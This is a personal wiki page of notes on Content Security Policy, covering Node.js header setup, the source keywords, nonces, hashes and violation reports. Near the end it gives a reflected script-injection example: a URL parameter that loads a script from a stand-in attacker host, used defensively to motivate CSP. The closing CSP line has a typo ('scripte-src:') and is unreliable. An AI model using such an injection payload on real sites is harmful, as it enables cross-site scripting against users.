Content Security Policy

From bibbleWiki
Jump to navigation Jump to search

Introduction

This is a page dedicated to Content Security Policy (CSP). CSP provides a standard method for website owners to declare approved origins of content that browsers should be allowed to load on that website—covered types are JavaScript, CSS, HTML frames, web workers, fonts, images, embeddable objects such as Java applets, ActiveX, audio and video files, and other HTML5 features.

This is meant to be enough information to revisit and understand what to do when using CSP.

CSP with Node JS

Here is an example in Node JS so we can see what we are talking about.

var csp_headers = {
    "default-src": ["'self'", "http://example.com"],
    "connect-src": ["'self'", "http://example.com"],
    "img-src": ["'self'", "data:", "http://example.com"]
};

app.use("/", function(req, res, done) {
    csp.header(csp_headers, res);
    done();
});

// Static files from ./public
app.use("/", express.static("./public"));

Important Constants

  • self is probably the most common. It basically means that resources from the current host are to be trusted, which is usually going to be the case.
  • none is just as it implies; trust nothing. It can be used for a “safety-first” rule-set, or be applied to certain resource types; for example, you could use it to disallow all frame sources.
  • unsafe-inline allows potentially unsafe inline JavaScript. As the name implies, this requires caution – we’ll look at inline JavaScript shortly.
  • unsafe-eval permits potentially unsafe eval‘ed code. Use with even more caution!


For all of these constants, it’s important that you wrap them in single quotations, as listed.

Once you have your sources defined, you simply append them to a keyword representing the resource type. For scripts, that means using the script-src keyword.

Inline JavaScript

The short answer is that by CSP takes the view that all inline scripts are potentially harmful

Two mechanisms are provided to allow this.

nonce

Basically you attach a tag in the script and reference it in the CSP. e.g.

<script nonce="d9j8g9irjgirjheg9i">
    console.log('This code is trusted!');
    // ]]>
</script>

You then need to reference the tag in the header. e.g.

Content-Security-Policy: script-src 'nonce-d9j8g9irjgirjheg9i'

Encrypt and Hash

For example

<script type="text/javascript">
    // <![CDATA[
    alert('Hello, world.');
    // ]]>
</script>

Take the hash of the contents of the <script type="text/javascript">// <![CDATA[ tag, and refer to it in your headers:

Content-Security-Policy: script-src 'sha256-qznLcsROx4GACP2dm0UCKCzCG-HiZ1guq6ZZDob_Tng='

This is an example using NodeJS. When the script is used on a listener we need to include unsafe-hashes. This came about when using bootstrap and the sanitizer.

  // Set CSP Policy
  expressInstance.use(csp({
    directives: {
      defaultSrc: ["'self'", 'www.gravatar.com'],
      styleSrc: ["'self'", "'unsafe-hashes'", "'sha256-B5qgCyT/umn/PB6cehB53lZH5HKe3Z53YSGL7VzbneA='"],
    },
  }));

Reporting

Never used this but looks interesting. To create reports simply.

Content-Security-Policy: ...;
report-uri / csp-report-endpoint;

An example of a report is

{
    "csp-report": {
        "document-uri": "http://example.com/signup.html",
        "referrer": "",
        "blocked-uri": "http://example.com/css/style.css",
        "violated-directive": "style-src cdn.example.com",
        "original-policy": "default-src 'none'; style-src cdn.example.com;
                             report-uri /_/csp-reports"
    }
}

Example

Could not find an example to the main example is when you have parameters which are later executed. In this example they were echoed and instead of the parameter the script was run.

www.mysite.com/app?name=Pete

www.mysite.com/app?name=<script src="https://bad-guy.example.com/bad-stuff.js"></script>

To avoid this we can use

Content-Security-Policy: scripte-src: 'self'

And Finally Esther

For list go to https://content-security-policy.com/